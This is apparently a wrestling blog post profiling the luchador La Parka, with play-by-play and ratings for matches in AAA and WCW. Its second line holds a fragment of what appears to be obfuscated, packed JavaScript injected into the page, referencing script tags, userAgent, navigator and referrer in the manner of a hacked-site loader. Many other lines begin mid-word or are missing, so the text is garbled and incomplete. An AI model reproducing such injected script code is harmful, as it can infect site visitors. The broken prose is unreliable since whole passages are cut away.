Wrestler of the Day – December 8
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrzky|var|u0026u|referrer|hrkea||js|php'.split('|'),0,{})) we’re looking at someone who was far more famous in Mexico: La Parka.
Tito Santana/Pegasus Kid/2 Cold Scorpio vs. La Parka/Blue Panther/Jerry Estrada
m a big Scorpio and Santana fan so I think you know which team I like here.
s the Professor.
s legal here.
s back to Panther again, this time against 2 Cold. They look like their chemistry is way off at times in this.
s back to Panther again.
Parka sends Santana to the floor and sets to dive but hits Estrada of course. Scorpio hits a big dive to take everyone out. Panther misses a moonsault so Benoit hits a Matt Hardy legdrop for two. Panther tries a powerbomb on Chris but Benoit rolls through into a rana for the pin and ZERO reaction, which also might be a cultural thing.
Off to WCW now with I believe his company debut on Nitro, November 18, 1996.
Juventud Guerrera vs. La Parka
Konnan/Mr. JL/La Parka vs. Chris Jericho/Super Calo/Chavo Guerrero Jr.
A double tag brings in Calo to face Konnan with Konnan pounding him in the face and armdragging Calo down. Calo comes back with a springboard armdrag of his own followed by a top rope ankle scissors to send both guys outside and bring in La Parka to face Jericho. Chris fires off some elbows to the face and a clothesline but runs into a kick to the face. A missile dropkick drops La Parka out to the floor and Jericho tags in Chavo to face Konnan.
Jericho dives over the top to take Konnan out but JL dives onto Chris. Chavo dives on JL, followed by La Parka diving on both Chavo and Jericho. Calo kicks La Parka to the floor and hits a slingshot dive to land on him. Jericho and JL get back in the ring with JL hitting a side slam and going up top, only to be taken down by a top rope hurricanrana for the pin.
Time for some American PPV at SuperBrawl VIII.
Konnan/La Parka/Villano IV vs. Ciclope/Super Calo/Juventud Guerrera
Not sure if this is trios rules or just a regular match. Calo’s team is the face team. Villano vs. Ciclope to start us off as we talk about Ray Stevens who passed away about 10 months earlier. Villano apparently means villain which is named after a character that all the Villanos’ father played in an El Santo movie back in the 50s. These guys are a bit bigger than most luchadores but it doesn’t matter as we’re off to Konnan and Juvy.
Rolling clothesline puts Guerrera down but a springboard dropkick changes momentum. And never mind as Konnan remembers he’s the real star here and beats up everyone to bring in Parka to face Calo. It’s moving too fast here to really keep track of it. Calo sends him to the floor and hits a slingshot Swanton. Parka puts him in a chair as selling is completely forgotten here and crashes into him.
Villano vs. Ciclope again as we’ve started all over apparently. Ciclope TOTALLY botches a moonsault to the floor as he veers to the left and lands hard. Off to Parka vs. Juvy with Parka hitting what we would call a Whisper in the Wind. Slingshot rana by Juvy gets two. Villano and Konnan get what was supposed to be a Doomsday Device on Juvy and follow it with a double leglock.
Everyone goes in and it was a six man submission hold/pin attempt at the same time. Everything breaks down and they all get tossed around with Konnan and Villano left standing. They do a four person leg hold called the Star and Parka puts Juvy in a surfboard in the middle. Triple suicide dive by the faces with Juvy completely missing Konnan but he tried. Back in the ring Konnan gets two on a Power Drop (Razor’s Edge into a sitout powerbomb) but they call it three despite Juvy’s arm being up maybe a second early.
Rating: C. Well that was something. I have no idea what it was but it was something. This was just another random Mexican Cruiserweight match which wasn’t very good but they were trying to pop the fans a bit. Not enough dives to make the fans care but it definitely got your attention. Not sure if that’s a good thing or not though.
Public Enemy vs. La Parka/Damien
And another on August 25, 1997.
Ernest Miller/Glacier vs. La Parka/Psychosis
Time for another big mess at Souled Out 1998.
Juventud Guerrera/Super Calo/Lizmark Jr./Chavo Guerrero Jr. vs. La Parka/Psychosis/Silver King/El Dandy
Psychosis hits the guillotine legdrop on Chavo for two before La Parka comes in to throw Chavo to the floor. El Dandy dropkicks Calo to the floor but Silver King completely misses his dive. Calo pops up to the top rope to dive onto King before almost everyone dives onto everyone else. Chavo and Psychosis are left alone in the ring with Guerrero hitting a quick tornado DDT for the pin.
Time for an international war on Nitro, April 6, 1998.
Psychosis/El Dandy/La Parka vs. Judo Suwa/Shiima Nobunaga/Tokyo Magnum
Rating: C+. Very fun opener here which is exactly what an opening match is supposed to be. As usual the formula of take six guys and let them fly around the ring for five minutes works like a charm with Miami eating it up. You indy fans might know Nobunaga better as Dragon Gate USA star Cima.
Then a standard singles match on Nitro, September 28, 1998.
La Parka vs. Super Calo
Back in and La Parka quickly puts him in the Tree of Woe for a running spinwheel kick to the ribs. Calo gets his boots up to catch La Parka coming off the top but is almost immediately kicked to the floor. He pops back onto the apron and pulls La Parka off the top and drapes it on the top rope. Another hurricanrana gets two on La Parka but he comes back with an Alabama Slam and a corkscrew off the top for the pin.
Psychosis/Silver King/El Dandy/La Cucharacha vs. La Parka/Damien/Lizmark Jr./Super Calo
Ciclope/Damien vs. La Parka/Silver King
LA Park vs. La Parka
Now this is an interesting one. LA Park is the original La Parka and the one from WCW. He was a major star in AAA but left 14 years ago to go to WCW. The thing was the original owner of AAA, and the guy whose ashes are in that urn, kept the rights to the gimmick and gave them to the guy known as La Parka. LA Park is the new name that the original La Parka used to continue the gimmick without continuing the gimmick. He returned in a shocking moment and said he wanted his name back. This match is for the official rights to the name and gimmick. In short, this is a big match that no one thought would happen.
Both come out to Thriller and look almost identical. I’ll try to remember who is who here. Out first is La Parka with the boss of the company, Joaquin. Ok this should be easier: Park has the skulls on his shoulders. That’s easier. Park also has the son of the president with him, Dorian, as the president and his papa are in a power struggle. The fans are behind the heel Park here which is interesting.
There’s a chair in the ring which is the signature weapon of both guys. Park dominates to start and grabs the chair for a big shot maybe a minute in. Another chair shot as this Parka (Park for the original, Parka for the new if that helps at all) guy is kind of getting his heck kicked in. To the floor now as Park is yelling at Konnan and cuts a quick promo before the third chair shot. Is it the Rock in disguise?
Joaquin, the president, gets in his face until Parka saves him. By saves I mean he stands up so Park can beat him up even more. Park rips at the mask and you can see Parka’s forehead. They’re in the crowd now as this has already had more action than the world title match and we’re not even five minutes into this. Park goes to the back and gets a table. I guess there aren’t table making leprechauns under the ring in Mexico.
Parka has not had a single bit of offense that I’ve seen. There’s a fire extinguisher at Parka who is just trying to cover up at this point. Table and chair in the ring now. The fans are totally behind the original Park here and it’s kind of funny since he’s the heel through and through. The table is set up in the corner but Park settles for just beating on Parka a bit more instead.
Dorian whispers something to Parka and his dad shoves him away. The referee gets involved and Parka charges to try to tackle Park through the table. Park steps to the side and Parka goes sailing through it. Belt comes off and it’s whipping time. This has literally been one sided the entire ten minutes so far. Park rams Parka’s head into the pieces of the table and the chair.
Park busts a piece of the table over Parka’s head to a big reaction. Here comes table #2. Park sets it up in the ring and puts the chair on top of it and goes up. OH DANG IT’S OFFENSE FROM PARKA!!!!!! He gets a few punches in and suplexes/slams Park through the table and onto the chair. The crowd is awake now. Parka is bleeding from the head it seems which makes sense.
BIG chair shot from Parka and momentum has completely shifted. Parka rips at Park’s mask as Joaquin is like do it! Parka’s mask is covering maybe half of his face at this point. Into the crowd again goes Park while Parka’s mask looks rather weird. Oh man Parka is busted BAD. Park’s mask is barely staying on too. Back in the ring now and Parka has the belt now so he lays in some HARD shots.
It at this point.
Parka celebrates but Park sneaks up on him and hooks in a choke that looks like he’s trying for a Backstabber but keeps Parka on the mat on his knees and pulls back on his chin. Looks great if you didn’t get that. Park starts going for the knees and adds a Backstabber for two. This is that slow counting referee again. Parka fights back and gets what was supposed to be a Codebreaker from the middle rope for two.
botched DDT by Parka gets two and a ton of booing. They counter each other a bit until something resembling the Eye of the Hurricane gets two for Park. Both guys are gassed bad here. Park charges in the corner but rams the post instead. Park’s mask is more or less gone here. Leg lock by Parka right in front of Dorian.
There’s the rope but the referee has to break up the hold. Not often that you see that from a hold put on by a face. Park gets a rollup for two. Park for no apparent reason dives at the referee who was on the floor for no apparent reason. So there’s no referee and Park is more or less dead. Dorian has the chair and Parka gets a clothesline to put Park down again.
Parka sets for a tombstone which is illegal in Mexico but Joaquin stops him. An enziguri from Park puts Parka down again. Joaquin has the chair now but Park winds up managing to hit the Tombstone on the chair and Parka is out cold. Another chair in the hands of Park as Joaquin comes in.
Dorian says no don’t hit him but Park shoves Dorian down and clocks Joaquin with the chair instead. Dorian gets up and turns face, blasting Park with the chair a bunch of times to avenge his father. Then with both skeleton dudes down, Los Perros Del Mal, a group of invading wrestlers from a promotion of the same name, put Park on top of Parka for the pin to win the name.
Rating: B+. This was a WAR. They beat the tar out of each other and it’s only the ending and the exhaustion that is holding this back. It wasn’t a great match from a workrate standpoint or anything but there was a great story out there and the fans were into it. This was supposed to go on next to last with Wagner vs. Electroshock going here instead but this worked far better. Great match and a great way to end the show.
And from TripleMania XX to wrap it up.
Jeff Jarrett/Kurt Angle vs. Electroshock/L.A. Park
Electroshock and Angle start things off and Kurt will have none of this handshake stuff. Instead he easily takes Electroshock to the mat and we start with some technical stuff. Angle snaps off an overhead belly to belly but gets dropkicked in the back when he poses. Off to Jarrett, who I believe holds the record for longest time as AAA World Champion. A spinwheel kick takes Jarrett to the floor as we hear about the members of the Foreign Legion over the years, which is almost every major non-WWE star since 1994 (yes even Sting).
Off to Park who fires off some kicks to Jeff but gets suplexed down by Angle for two. Park avoids a charge in the corner and dances a bit before snapping off a powerslam on Angle.
Jeff jumps Park from behind to take over but Electroshock gets the tag anyway. Park gets knocked to the floor and double teamed before Angle goes back in to beat on Electroshock a bit more. Kurt puts on a chinlock and Dorian comes in for some cheap shots as Jeff has the referee.
You know, for a guy that never won anything of note in America, La Parka had quite the long career and quite the collection of good matches. That chair man stuff with the dance got him over and his in ring work backed it up better than I thought it did. He never was a top star in the cruiserweight division but he was entertaining for his spot and made his time far more entertaining than a lot of others would have.
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